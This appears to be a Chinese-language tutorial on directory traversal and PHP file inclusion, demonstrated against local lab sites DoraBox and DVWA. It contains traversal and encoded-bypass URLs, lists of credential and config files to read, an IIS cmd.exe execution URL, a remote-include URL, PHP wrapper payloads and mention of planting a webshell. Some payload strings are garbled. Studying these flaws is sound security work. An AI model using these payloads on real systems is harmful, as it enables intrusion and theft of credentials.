目录
0×00 目录遍历攻击
目录遍历是Http所存在的一个安全漏洞,它使得攻击者能够访问受限制的目录,并在Web服务器的根目录以外执行命令。
目录遍历攻击可能从两个方面产生:
①利用web应用代码实行目录遍历攻击
②利用web服务器进行目录遍历攻击
原理:
程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
读取文件的url:
http://127.0.0.1/my.jsp?file=xxx.html
如果服务器允许这种访问方式,那麽就有可能存在遍历攻击
恶意url:
http://127.0.0.1/my.jsp?file=../../Windows.system.ini
这样就可以获取服务器的信息。
…/…/只是我们猜想的
从web服务器本身的软件或者代码也可能造成漏洞。
例如,如下的一个URL请求,它使用了IIS的脚本目录来移动目录并执行指令:http://server.com/scripts/…%5c…/Windows/System32/cmd.exe?/c+dir+c:\
这个请求会返回C:\目录下所有文件的列表,它使通过调用cmd.exe然后再用dir c:\来实现的,%5c是web服务器的转换符,用来代表一些常见字符,这里表示的是“\”
URI编码形式的目录遍历攻击
一些网络应用会通过查询危险的字符串,例如:
…
…\
…/
来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:
%2e%2e%2f:解码为…/
%2e%2e/:解码为…/
…%2f:解码为…/
%2e%2e%5c:解码为…\
注意:对于不同的操作系统
linux目录遍历攻击,通用的linux系统的目录遍历攻击字符串形如“…/”。
一般攻击路径
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
Windows操作系统目录遍历攻击
对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“…/”或者“…\”字符串。
在Windows操作系统中,每个磁盘分区有一个独立的根目录(比如我们会把个人电脑分区成“C盘”、“D盘”等等),并且在所有磁盘分区之上没有更高级的根目录。这意味着Windows系统上的目录遍历攻击会被隔离在单个磁盘分区之内,不会波及到其他盘。(是不是很狗)
敏感路径:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
但是如果目录遍历攻击在D盘就没用了
0×01 文件包含漏洞
0×01 前言
我们在写代码的时候,对于某些代码我们可能会多次使用,但是一遍遍重复的写,这不是浪费时间🐎,所以我们就会将高频率使用的代码包含在一个文件里,用的时候引用就行了。这应该就是文件包含了
0×02 漏洞造成原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码,从而形成了漏洞。
0×03 php语言四个文件包含函数
include()
include_once()
require()
require_once()
require() 如果在包含过程中出错,就会直接退出,不执行后续语句
include() 如果在包含过程中出错,只会提出警告,但不影响后续语句的执行
include_once()函数和require_once()函数,这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
0×04 文件包含漏洞分类
0×01 本地文件包含漏洞
0×00 任意文件包含
以Dorabox
为例
输入1
得到信息
用的是include()函数,没有经过任何的过滤。
那我们先建一个txt.txt文件
内容:
<?phpnfo();?>
构造payload:http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit
得到了php版本,等等各种信息。
我们换个格式的payload
http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.jpg&submit=submit
一样可以得到PHP的一些信息。
真是任意文件包含。
0×01 session文件包含漏洞
通过上面的截图我们不只是得到了PHP版本信息
我们也得到了session的存储位置。
那麽我们就可以对session的值进行更改。
使用下面代码
<?php
session_start();
$a=$_GET['a'];
$_SESSION["username"]=$a;
?>
将我们传入a值存进session里。
当然我们也可以传入phpinfo();等等像这样的代码。
一般存有session值的文件名都是sess_PHPSESSID
当然我们也可以使用type命令或者cat命令,将包含有session的文件显示出来。
0×02 目录限制文件包含
对于那些只允许包含指定文件下的文件
<?php
include "../class/function.class.php";
$p = new Func("GET","file");
$p -> con_html();
if (isset($_REQUEST['submit'])) {
$file = $_REQUEST['file'];
include './'.$file;
}
?>
类似于上面源码,对我们进行了限制。
那麽我们可以尝试利用目录遍历盲猜
http://127.0.0.1/DoraBox/file_include/include_1.php?file=./txt.php&submit=submit
情况不一样,也可以是../
包含文件类型限制(只允许.php文件)
if(@$_GET['file']){ include_once($_GET['file'].".php"); }
对于这种类型,我们一般都使用截断
①%00截断(需要php版本小于5.3.4,且关闭magic_quotes_gpc功能。)
②…(windows文件名最长不大于256,Linux不大于1024?)
③?截断
以上三个就不做具体的测试了,有兴趣可以自己搞一下。
0×02 远程文件包含漏洞
远程文件包含利用的条件严格,需要满足
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
我们见到的大多数都是本地文件包含。
http://127.0.0.1/DoraBox/file_include/include_1.php?file=http://192.168.1.105/test.txt
0×03 PHP伪协议
伪协议太多,只详讲php://
0×00 php://
php:// — 访问各个输入/输出流(I/O streams)
?file=file://文件绝对路径
可以读取到文件内容
0×01 php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
这个好像ctf比赛用的比较多
①?filename=php://filter/convert.base64-encode/resource=xxx.php
②?filename=php://filter/read=convert.base64-encode/resource=xxx.php
这两个效果一样
通过这样的语句能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的页面代码。
0×02 php://input
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。(其他请求方式无效)
说白了就是利用input将我们的写的数据通过post传上去。
但有一点比较特殊,enctype=“multipart/form-data” 的时候 php://input 是无效的。
我们也可以写入木马,但需要开启
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)有的大师傅说需要开启
一句话木马,然后菜刀连接。
0×03 php://output
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
0×04 data://
和php://相似,将原本的数据流重新定向到用户的可控制的输入流中。可直接执行代码。
① ?file=data:text/plain,<?php 执行内容 ?>
② ?file=data:text/plain;base64,编码后的php代码(对特殊字符过滤了,可以使用)
0×05 phar:// 伪协议
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压(rar格式不行)。
PHP版本 >= 5.3.0
?file=phar://压缩包/内部文件
写一个一句话木马文件cmd.php,然后用zip协议压缩为shell.zip,然后将后缀改为jpg等其他格式。
那麽payload:?file=phar://cmd.jpg/cmd.php
0×06 zip:// 伪协议
与phar://类似
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。
是绝对路径且#要手动编码为%23
以DVWA靶场的文件上传为栗子
首先将我们test.php压缩zip文件
内容:
<? phpinfo(); ?>
上传成功!
我们知道了上传路径。
然后构造payload:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=zip://D:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\test.zip%23txt.php
成功。